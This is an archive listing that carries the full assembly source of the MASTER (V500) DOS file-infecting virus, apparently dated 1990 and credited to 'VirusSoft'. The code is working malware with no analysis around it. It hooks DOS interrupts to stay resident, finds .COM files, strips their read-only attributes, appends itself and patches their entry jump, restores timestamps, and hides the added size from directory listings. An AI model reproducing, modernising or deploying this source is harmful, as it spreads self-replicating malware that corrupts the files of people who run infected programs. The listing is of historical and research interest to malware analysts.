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Collection of Hack-Phreak Scene Programs
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cleanhpvac.zip
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cleanhpvac
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SOURCE.ZIP
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MASTER3.ASM
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Assembly Source File
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1991-03-30
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7KB
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308 lines
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; Sep. 27, 1990
ofs = 201h
len = offset end-ofs
call $+6
org ofs
first: dw 020cdh
db 0
xchg ax,dx
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
push cs
push di
cld
movsw
movsb
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h
stosb
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4e: cmp ch,4eh ; -find first FM
je beg_4b
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test ss:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp ss:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
les ax,[4ch] ; int 13h
mov i13adr,ax
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
;
not3_3: push ss
pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*",32,".COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?
; The End.